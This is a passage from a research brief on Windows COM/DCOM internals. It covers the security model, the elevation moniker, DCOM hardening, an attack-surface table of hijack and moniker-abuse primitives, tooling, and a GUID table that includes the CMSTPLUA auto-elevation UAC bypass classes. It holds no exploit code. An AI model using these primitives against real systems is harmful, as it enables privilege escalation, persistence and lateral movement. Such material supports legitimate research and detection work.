**ROT** (`IRunningObjectTable` `{00000010-0000-0000-C000-000000000046}`, obtained via `GetRunningObjectTable`): per-session, hosted in RPCSS; `Register(grfFlags, punk, pmkName, &dwCookie)` with `ROTFLAGS_REGISTRATIONKEEPSALIVE=0x1`, `ROTFLAGS_ALLOWANYCLIENT=0x2`; `GetObject`, `IsRunning`, `EnumRunning`, `NoteChangeTime`, `Revoke`. `GetActiveObject(clsid)` consults the ROT. **Abuse primitives**: ROT squatting (register attacker object under a well-known display name before the legit server), ROT snooping/harvesting (enumerate other apps' objects — Office documents expose full object models), `ROTFLAGS_ALLOWANYCLIENT` + AppID `ROTFlags` for cross-integrity exposure.

---

## 9. COM security model fundamentals

### 9.1 `CoInitializeSecurity` — process-wide baseline (callable once, or first proxy call auto-invokes with registry defaults)

```cpp
HRESULT CoInitializeSecurity(
  PSECURITY_DESCRIPTOR         pSecDesc,      // access SD (or AppID GUID with EOAC_APPID, or IAccessControl*)
  LONG                         cAuthSvc,      // -1 = default list
  SOLE_AUTHENTICATION_SERVICE *asAuthSvc,
  void                        *pReserved1,
  DWORD                        dwAuthnLevel,  // RPC_C_AUTHN_LEVEL_*
  DWORD                        dwImpLevel,    // RPC_C_IMP_LEVEL_*
  void                        *pAuthList,     // SOLE_AUTHENTICATION_LIST
  DWORD                        dwCapabilities,// EOAC_*
  void                        *pReserved3);
```
`RPC_C_AUTHN_LEVEL`: `DEFAULT=0, NONE=1, CONNECT=2, CALL=3, PKT=4, PKT_INTEGRITY=5, PKT_PRIVACY=6`.
`RPC_C_IMP_LEVEL`: `DEFAULT=0, ANONYMOUS=1, IDENTIFY=2, IMPERSONATE=3, DELEGATE=4`.
`EOAC_*`: `MUTUAL_AUTH=0x1, SECURE_REFS=0x2, ACCESS_CONTROL=0x4, APPID=0x8, DYNAMIC=0x10, STATIC_CLOAKING=0x20, DYNAMIC_CLOAKING=0x40, ANY_AUTHORITY=0x80, MAKE_FULLSIC=0x100, REQUIRE_FULLSIC=0x200, AUTO_IMPERSONATE=0x400, DEFAULT=0x800, DISABLE_AAA=0x1000, NO_CUSTOM_MARSHAL=0x2000`.

### 9.2 Where checks happen (defense-in-depth chain)

1. **Launch** (RPCSS): `MachineLaunchRestriction` → AppID `LaunchPermission` (else `DefaultLaunchPermission`). Failure: `E_ACCESSDENIED` at activation (Event ID 10015/10016 family — the classic "DistributedCOM 10016" log noise).
2. **Access** (first call into server): server's `CoInitializeSecurity` SD, else AppID `AccessPermission`, else `DefaultAccessPermission`, gated by `MachineAccessRestriction`.
3. **Authentication level** negotiation (client vs server vs machine legacy defaults; hardening floor at PKT_INTEGRITY for activation post-CVE-2021-26414).
4. **Impersonation** server-side: `CoImpersonateClient()`/`CoRevertToSelf()` — the client-supplied `dwImpLevel` caps what the server may do (Anonymous < Identify < Impersonate < Delegate). **Cloaking** (`EOAC_STATIC/DYNAMIC_CLOAKING`) decides *which token* the proxy presents — the root of "token kidnap"/wrong-identity bugs exploited by the potato family and activation-identity confusion.

### 9.3 Server identity

Chosen at launch from AppID: launching user (default; token of activator — integrity level is inherited! medium IL activator ⇒ medium IL server), `RunAs` user, `LocalService`, or **`Interactive User`** — which creates the object **in whatever session is currently interactive**, enabling cross-session activation by lower-privileged users when Launch/Access ACLs allow (bohops' CVE-2023-33127 chain: PhoneExperienceHost CLSID `{7540C300-BE9B-4C0D-A335-F002F9AB73B7}` activated cross-session; the general discovery method = OleViewDotNet filter "Run as: Interactive User").

### 9.4 UAC & the elevation bridge

`CoGetObject("Elevation:Administrator!new:{CLSID}", &bind_opts3_with_hwnd, riid, &ppv)` routes through the **AppInfo service** (`appinfo.dll`, `RAiLaunchAdminProcess`) which evaluates the class's elevation policy and shows consent UI (or auto-approves). Class requirements (Microsoft doc "The COM Elevation Moniker", verified verbatim):
- registered under **HKLM only** (HKCU registrations cannot elevate — `CO_E_ELEVATION_DISABLED` path guard);
- `HKCR\CLSID\{CLSID}\Elevation\Enabled = 1` (else `CO_E_ELEVATION_DISABLED`);
- `HKCR\CLSID\{CLSID}\LocalizedString = @dll,-resid` MUI display name (else `CO_E_MISSING_DISPLAYNAME`; MUI load errors from `RegLoadMUIStringW` propagate);
- optional `Elevation\IconReference`; binary must be signed for icon display;
- class must run as **launching user / Activate-as-Activator** else `CO_E_RUNAS_VALUE_MUST_BE_AAA`;
- already-elevated client ⇒ no UI.
Two elevation classes exist: **prompted** (consent UI — legitimate) and **auto-elevated** (silent for auto-approved binaries; abused by the CMSTPLUA family: `{3E5FC7F9-9A51-4367-9063-A120244FBEC7}` + `ICMLuaUtil` `{6EDD6D74-C007-4E75-B76A-E5740995E24C}` → `ShellExec`; artifact: child of `DllHost.exe /Processid:{3E5FC7F9-...}`). Server-side spawn: elevated **dllhost** or the LocalServer32 exe at High IL.

### 9.5 DCOM hardening (CVE-2021-26414, KB5004442)

Windows DCOM Server Security Feature Bypass → phased enforcement of `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY` minimum for non-anonymous activation: Jun 2021 opt-in (`HKLM\SOFTWARE\Microsoft\Ole\AppCompat!RequireIntegrityActivationAuthenticationLevel=1`), Jun 2022 default-on, Nov 2022 client auto-raise (`RaiseActivationAuthenticationLevel=2`), **Mar 2023 mandatory**. Telemetry: System log source **DistributedCOM events 10036 (server reject), 10037/10038 (client below floor)** — also prime detection content for spotting lateral-movement activation attempts.

## 10. WinRT and .NET (short but necessary bridges)

- **WinRT** is COM vNext: same IUnknown base; `IInspectable` (IID `{AF86E2E0-B12D-4C6A-9C5A-D7AA65101E90}`; `GetIids`, `GetRuntimeClassName`, `GetTrustLevel`) replaces IDispatch; metadata in `.winmd` (ECMA-335) instead of TLBs; activation via `RoGetActivationFactory(HSTRING clsid, IID, void**)` / `RoActivateInstance`; classes registered per-package under `HKLM\SOFTWARE\Microsoft\WindowsRuntime` (and `ActivatableClassId` server mappings), **not** `HKCR\CLSID` — hence invisible to classic hijack tooling; language projections (C++/WinRT, C#/WinRT, `RoGetActivationFactory` shims). Forshaw's OleViewDotNet parses both worlds.
- **.NET interop**: managed classes exposed to COM are hosted by `mscoree.dll` as `InprocServer32` with values `Class`, `Assembly`, `RuntimeVersion`, `CodeBase`; clients get an RCW (`System.Runtime.InteropServices`), servers a CCW. Type libraries via `regasm /tlb` / `tlbexp`; `ComImport`+`Guid` declares native interfaces in managed code; OleViewDotNet builds dynamic `IDispatch` stubs at runtime to call arbitrary vtables — the same trick fuzzers use (incendium.rocks methodology: registry/CLSID → JSON of interfaces/methods → automated `Invoke`).

## 11. Attack-surface map (fundamentals → chapter pointers)

| # | Primitive (rooted in this brief) | Mechanism | Attack family |
|---|---|---|---|
| 1 | HKCU shadowing of `CLSID\{X}\InprocServer32/LocalServer32` | merged-view precedence (4.1) → per-user persistence/exec; into auto-elevated procs → UAC bypass | Persistence / UAC |
| 2 | `TreatAs`/`AutoTreatAs` redirect | 4.2 checked before server key (used by Turla "COMpfun" family) | Persistence |
| 3 | Phantom `InprocServer32`/`LocalServer32` paths | 5.2 load of non-existent file → plant binary | Persistence |
| 4 | `Interface\{IID}\ProxyStubClsid32` shadow | 4.4 → DLL into **both** endpoints incl. SYSTEM servers | LPE / Persistence |
| 5 | `TypeLib\{LIBID}\...\win32` path shadow + `LoadTypeLib` moniker quirk | 4.5 | Persistence / Execution |
| 6 | ProgID/VersionIndependentProgID/CurVer squatting | 3, 4.1 | Persistence |
| 7 | Moniker string injection (`script:`, `new:`, `session:`, `Elevation:`, composite) | 5.5, 8; `CoGetObject`/moniker-accepting APIs (Office OLE, `LoadTypeLib`, SCT/scriptlet) | Execution |
| 8 | ROT squatting/snooping | 8 | LPE / Execution |
| 9 | Cross-session activation (`RunAs=Interactive User`) | 9.3 | LPE |
| 10 | DCOM remote activation of LM-friendly classes | 5.4 | Lateral movement |
| 11 | Custom-marshal blob abuse (OBJREF_CUSTOM forgery, IMarshal parsing bugs) | 6.1/6.2 | Execution / Relay |
| 12 | Surrogate abuse (`DllSurrogate` → attacker DLL in `dllhost`) | 4.3 | Persistence / Execution |
| 13 | Reg-free COM manifest hijack | 4.7 | Persistence / Execution |

**Representative CVEs anchored in fundamentals**: CVE-2015-2370 (DCOM activation RPC replay → SYSTEM LPE; NTLM-authed `ResolveOxid2` followed by replayed `RemoteCreateInstance`), CVE-2017-8759 (`soap:` WSDL moniker → .NET codegen RCE, in-the-wild), CVE-2018-0824 ("Microsoft COM for Windows RCE" — ole32 deserialization of crafted OLE/moniker data via Office OLE2 objects, exploited in the wild, patched May 2018; describe as moniker/OLE deserialization RCE), CVE-2017-0100 (Windows COM/DCOM EoP, HelpPane auto-elevation + activation identity — Forshaw; flag moderate confidence on exact mechanism), CVE-2021-26414 (DCOM activation auth-level bypass → the hardening saga of 9.5). Office responded to the moniker wave with a per-app kill list at `HKLM\SOFTWARE\Microsoft\Office\<ver>\Common\COM Compatibility\{CLSID}` ("ActivationFilter"/kill bits) covering htafile `{3050F4D8-...}`, scriptlet `{06290BD3-...}`, Composite `{00000309-...}`, File `{00000303-...}`, New `{ECABAFC6-...}`, SOAP `{ECABB0C7-...}` monikers.

## 12. Tooling & lab notes

- **OleViewDotNet** (`github.com/tyranid/oleviewdotnet`): enumerates classes/interfaces/AppIDs/typelibs (incl. per-user & WOW64 views), shows AppID ACLs/RunAs/Elevation flags, parses vtables from typelibs/`.winmd`, ROT viewer, invoke arbitrary methods, spawn elevated (`CreateElevated`), filter "Run as Interactive User". The standard recon tool.
- `oleview.exe` (SDK), `dcomcnfg.exe`, `regedit`/`reg query HKCR\CLSID /s`, PowerShell `Get-ChildItem Registry::HKEY_CLASSES_ROOT\CLSID`, ProcMon (`Path contains InprocServer32/LocalServer32/TreatAs/ProxyStubClsid32`, Result = NAME NOT FOUND for phantom hunting), Wireshark `dcom`/`dcerpc` dissectors (grep `MEOW`), RpcView (RPC interface/IPID maps), Event Viewer (DistributedCOM 10015/10016/10036–10038), API Monitor / WinDbg `bp combase!CoCreateInstance`.
- Lab: two VMs (domain-joined) for DCOM LM; a standard (non-admin) user VM for HKCU-hijack labs; snapshot before `regsvr32`/manifest experiments; enable "Microsoft-Windows-COMRuntime" ETW + OLE32/COM ETW providers for activation tracing.

## 13. Diagram specs (covered by DIAGRAM_SPEC d01–d08)

1. Anatomy of a COM object — client pointer → vptr → vtable slots 0..2 (QI/AddRef/Release) + method slots; second vptr for a second interface; refcount field.
2. COM identity zoo — central GUID box; spokes CLSID/IID/AppID/LIBID/ProgID → registry homes.
3. HKCR merged view — HKLM + HKCU stacks → merged HKCR lens; attacker writing into HKCU layer highlighted; WOW6432Node branch.
4. Registry anatomy of a CLSID — tree from 4.2 with call-outs: TreatAs (checked first), InprocServer32+ThreadingModel, LocalServer32, AppID link, Elevation\Enabled.
5. In-process activation sequence (d01).
6. Local OOP activation sequence — RPCSS/DcomLaunch/-Embedding/CoRegisterClassObject/OBJREF; security-check gates.
7. Remote DCOM activation sequence (d05) — TCP135, RemoteCreateInstance opnum 6, ResolveOxid2, dynamic ports.
8. Apartment map of a process — Main STA/MTA/NTA; ThreadingModel coloring; FTM bypass.
9. Proxy/stub call stack (d04).
10. OBJREF on the wire (d04) — 'MEOW' 0x574F454D byte layout.
11. OXID resolution & pinging timeline (d05).
12. COM security decision funnel (d06/d08) — launch → access → authn → impersonation gates.
13. Elevation moniker flow (d07).
14. Moniker binding pipeline — display string → MkParseDisplayName → Composite → BindToObject → ROT check; dangerous prefixes overlay.
15. Hijack primitive decision tree (d08) — which registry key shadowed → what loads where.
16. Surrogate hosting — AppID{DllSurrogate=""} → dllhost /Processid.

## 14. Quick-reference GUID table

| Item | GUID |
|---|---|
| IID_IUnknown | 00000000-0000-0000-C000-000000000046 |
| IID_IClassFactory | 00000001-0000-0000-C000-000000000046 |
| IID_IMarshal | 00000003-0000-0000-C000-000000000046 |
| IID_IMoniker / IBindCtx / IROT | 0000000F-… / 0000000E-… / 00000010-… (-C000-000000000046) |
| IID_IParseDisplayName | 0000001A-0000-0000-C000-000000000046 |
| IID_IDispatch | 00020400-0000-0000-C000-000000000046 |
| IID_ITypeInfo / ITypeLib | 00020401-… / 00020402-… |
| PSDispatch / PSOAInterface (universal marshaler) | 00020420-… / 00020424-0000-0000-C000-000000000046 |
| IID_IRemUnknown / IRemUnknown2 | 00000131-… / 00000143-… |
| IGlobalInterfaceTable; CLSID_StdGIT | 00000146-…; 00000323-0000-0000-C000-000000000046 |
| CLSID_FreeThreadedMarshaler | 00000333-0000-0000-C000-000000000046 |
| IRemoteSCMActivator / ISystemActivator | 000001A0-0000-0000-C000-000000000046 |
| IOXIDResolver (IObjectExporter) | 99FCFEC4-5260-101B-BBCB-00AA0021347A |
| Monikers: File/Item/Anti/Pointer/Composite/Class | 00000303/…304/…305/…306/…309/…31A -C000-000000000046 |
| NewMoniker | ECABAFC6-7F19-11D2-978E-0000F8757E2A |
| ScriptMoniker (scrobj.dll) | 06290BD3-48AA-11D2-8432-006008C3FBFC |
| QueueMoniker / SoapMoniker | ECABAFC7-… / ECABB0C7-7F19-11D2-978E-0000F8757E2A |
| CMSTPLUA / ICMLuaUtil | 3E5FC7F9-9A51-4367-9063-A120244FBEC7 / 6EDD6D74-C007-4E75-B76A-E5740995E24C |
| CLSID_FileOperation (IFileOperation host) | 3AD05575-8857-4850-9277-11B85BDB8E09 |
| Task Scheduler (Schedule.Service) | 0F87369F-A4E5-4CFC-BD3E-73E6154572DD |
| WScript.Shell / Shell.Application / IE | 72C24DD5-D70A-438B-8A42-98424B88AFB8 / 13709620-C279-11CE-A49E-444553540000 / 0002DF01-0000-0000-C000-000000000046 |
| IInspectable (WinRT) | AF86E2E0-B12D-4C6A-9C5A-D7AA65101E90 |

---

## REFERENCES

1. CoCreateInstance function (combaseapi.h) — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance
2. CLSCTX enumeration (wtypesbase.h) — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/api/wtypesbase/ne-wtypesbase-clsctx
3. CoInitializeEx function — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-coinitializeex
4. CoInitializeSecurity function — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-coinitializesecurity
5. The COM Elevation Moniker — MicrosoftDocs/win32 (exact registry requirements LocalizedString / Elevation\Enabled / error codes): https://github.com/MicrosoftDocs/win32/blob/docs/desktop-src/com/the-com-elevation-moniker.md
6. AppID Key — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/com/appid-key
7. CLSID Key — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/com/clsid-key-hklm
8. Registering COM Servers / InprocServer32 — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/com/registering-com-servers
9. Distributed Component Object Model Protocol — DCOM/1.0 draft (Brown/Kindel; OBJREF/STDOBJREF/DUALSTRINGARRAY/MEOW, tower IDs): https://download.samba.org/pub/samba/specs/draft-brown-dcom-v1-spec-03.txt (IETF mirror: https://datatracker.ietf.org/doc/html/draft-brown-dcom-v1-spec-03)
10. [MS-DCOM]: Distributed Component Object Model (DCOM) Remote Protocol — Microsoft Learn: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/
11. Understanding the DCOM Wire Protocol by Analyzing Network Data Packets — MSJ March 1998 (mirror): https://jacobfilipp.com/MSJ/dcom.html
12. 3 Ways to Get a COM Server Process ID (OBJREF/STDOBJREF C structs, OXID/OID/IPID semantics) — Apriorit: https://www.apriorit.com/dev-blog/724-windows-three-ways-to-get-com-server-process-id
13. Inside COM+ (Dale Rogerson) — More on Monikers (IMoniker method table): https://thrysoee.dk/InsideCOM+/ch11c.htm ; DLL Surrogates (AppID named-values table): https://thrysoee.dk/InsideCOM+/ch12b.htm ; Marshaled Interface Pointers: https://thrysoee.dk/InsideCOM+/ch19e.htm
14. The Component Object Model (COM registry keys table, HKCR merged view, SCM lookup walkthrough) — magicsplat: https://www.magicsplat.com/book/com.html
15. COM Hijacking in Windows (HKCR/WOW6432Node, per-user vs system hives, InprocServer32/LocalServer32/TreatAs) — cyberc0re: https://www.cyberc0re.in/posts/com-hijacking-in-windows/
16. Lateral Movement Using DCOM Objects and C# (CLSID/ProgID/AppID model, AppID requirement for DCOM) — klezvirus: https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/
17. Yet another DCOM object for lateral movement (COM terminology, HKCR\Interface/CLSID subkeys) — Kaspersky Securelist: https://securelist.com/lateral-movement-via-dcom-abusing-control-panel/118232/
18. Abusing .NET Core CLR Diagnostic Features (+CVE-2023-33127) — cross-session DCOM activation via "Interactive User" RunAs, OleViewDotNet methodology — bohops: https://bohops.com/2023/11/27/abusing-net-core-clr-diagnostic-features-cve-2023-33127/
19. OleViewDotNet — James Forshaw (tyranid): https://github.com/tyranid/oleviewdotnet
20. DCOM Logical Privilege Escalation Part 6 (cites Forshaw "COM in Sixty Seconds"; ISystemActivator 000001A0, PropsOutInfo/MInterfacePointer→OBJREF): https://ithelp.ithome.com.tw/articles/10339264
21. CVE-2015-2370 DCOM DCE/RPC protocol analysis (IRemoteSCMActivator::RemoteCreateInstance replay LPE; rpcss.dll IObjectExporter/ResolveOxid2): https://security.zone.ci/AnQuanKe/AnQuanKeInfo/132266.html
22. KB5004442 — Manage changes for Windows DCOM Server Security Feature Bypass (CVE-2021-26414) — Microsoft Support: https://support.microsoft.com/en-au/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-37ed901c769c
23. DCOM authentication hardening: what you need to know — Microsoft Tech Community: https://techcommunity.microsoft.com/blog/windows-itpro-blog/dcom-authentication-hardening-what-you-need-to-know/3657154
24. Microsoft DCOM Hardening Patch (CVE-2021-26414) — events 10036/10037/10038 details — SoftwareToolbox: https://help.softwaretoolbox.com/faq/microsoft-dcom-hardening
25. Attacking Visual Studio for Initial Access (LoadTypeLib moniker-parsing quirk; script moniker 06290BD3) — Outflank: https://www.outflank.nl/blog/2023/03/28/attacking-visual-studio-for-initial-access/
26. Moniker Magic: Running Scripts Directly in Microsoft Office (script moniker CLSID, OleCreateLink bind chain) — leo00000 PDF: https://leo00000.github.io/pdf/Moniker_Magic_final.pdf
27. Office Moniker vulnerabilities overview (CVE-2017-8759, CVE-2018-8174, Office moniker blacklist CLSIDs incl. NewMoniker ECABAFC6): https://zhuanlan.zhihu.com/p/352124245
28. Automating COM/DCOM vulnerability research (OleViewDotNet-driven fuzzing; IDispatch JSON dump methodology) — incendium.rocks: https://incendium.rocks/posts/Automating-COM-Vulnerability-Research/
29. Security Considerations for Requestors (CoInitializeSecurity hardening guidance) — Microsoft (MSDN archive): https://msdn.microsoft.com/en-us/library/windows/desktop/aa384604(v=vs.85).aspx
30. CoInitializeSecurity (ole32) — EOAC/Authn/Imp enum values — pinvoke.net: http://pinvoke.net/default.aspx/ole32.CoInitializeSecurity
31. The case of COM failing to pump messages in a single-threaded COM apartment — Raymond Chen, The Old New Thing: https://devblogs.microsoft.com/oldnewthing/20250314-00/?p=110965
32. Apartments and COM Threading Models (STA/MTA internals, hidden window, SCM activation modes) — Syracuse ECS CSE775: https://ecs.syr.edu/faculty/fawcett/Handouts/cse775/Presentations/apartments.pdf
33. Windows Scheduled Tasks research (elevation-moniker requirements testing; Task Scheduler CLSID 0F87369F) — 3gstudent: https://3gstudent.github.io/backup-3gstudent.github.io/
34. Reversing ICMLuaUtil: ShellExec and CallCustomActionDll for Elevated Execution — codedintrusion: https://codedintrusion.com/posts/reversing-icmluautil/
35. Sharp4COMBypassUAC: ICMLuaUtil UAC bypass (elevation moniker + BIND_OPTS3 dwClassContext=4) — xz.aliyun.com: https://xz.aliyun.com/t/16063
36. ALPHV ransomware analysis (CMSTPLUA elevation moniker in the wild; dllhost /Processid artifact) — d01a.github.io: https://d01a.github.io/alphv/
37. Info Stealing Campaign Uses DLL Sideloading Through Cisco Webex Binaries (CoGetObject elevation moniker TTP, T1548.002) — Trellix: https://www.trellix.com/blogs/research/how-attackers-repackaged-a-threat-into-something-that-looked-benign/
38. GhostWeaver PowerShell RAT (PEB masquerade + elevation moniker + ServerCreateElevatedObject) — derp.ca: https://www.derp.ca/research/ghostweaver-tag124-powershell-rat/
39. In-Memory Loader Drops ScreenConnect (elevation moniker string obfuscation in loaders) — Zscaler ThreatLabz: https://www.zscaler.com/jp/blogs/security-research/memory-loader-drops-screenconnect
40. Lines Sample (canonical registry registration: ProgID/CurVer/LocalServer32/TypeLib/Interface ProxyStubClsid32=PSOAInterface) — Microsoft MSDN: https://msdn.microsoft.com/en-us/library/ms220980.aspx
41. MSI Packaging ebook — TypeLib table → HKCR\TypeLib\{LIBID}\<ver>\0\Win32, FLAGS, HELPDIR: https://www.advancedinstaller.com/application-packaging-training/msi/ebook/registries.html
42. Default CLSID/IID list Windows 10 19041 (scrobj.dll family: Scriptlet.Context/Constructor/Factory, Script moniker BD3, HostEncode BD4, TypeLib BD5) — inaz2 gist: https://gist.github.com/inaz2/5fa3ca02f4e8204a7dd4d4b50fd0c13f
43. STA vs MTA in COM: Apartments, Marshaling, and Deadlocks — comcomponent.com: https://comcomponent.com/en/blog/2026/01/31/000-sta-mta-com-relationship/
44. COM in Sixty Seconds — James Forshaw (44CON 2017 talk, activation/OBJREF internals; slides via 44CON archive): https://github.com/tyranid/presentations

**Confidence & gaps**: All registry paths, API signatures, OBJREF structures, CLSCTX/COINIT/authn-level constants, and the moniker CLSIDs in section 14 are verified against at least two sources above. Explicitly unverified (flagged inline): Session Moniker & Elevation Moniker implementation CLSIDs (syntax documented; confirm numeric CLSIDs in OleViewDotNet), exact mechanism attribution for CVE-2017-0100, and current default values of `LegacyAuthenticationLevel`/`LegacyImpersonationLevel` on fully-patched Win11 (hardening has shifted these; describe as version-dependent).
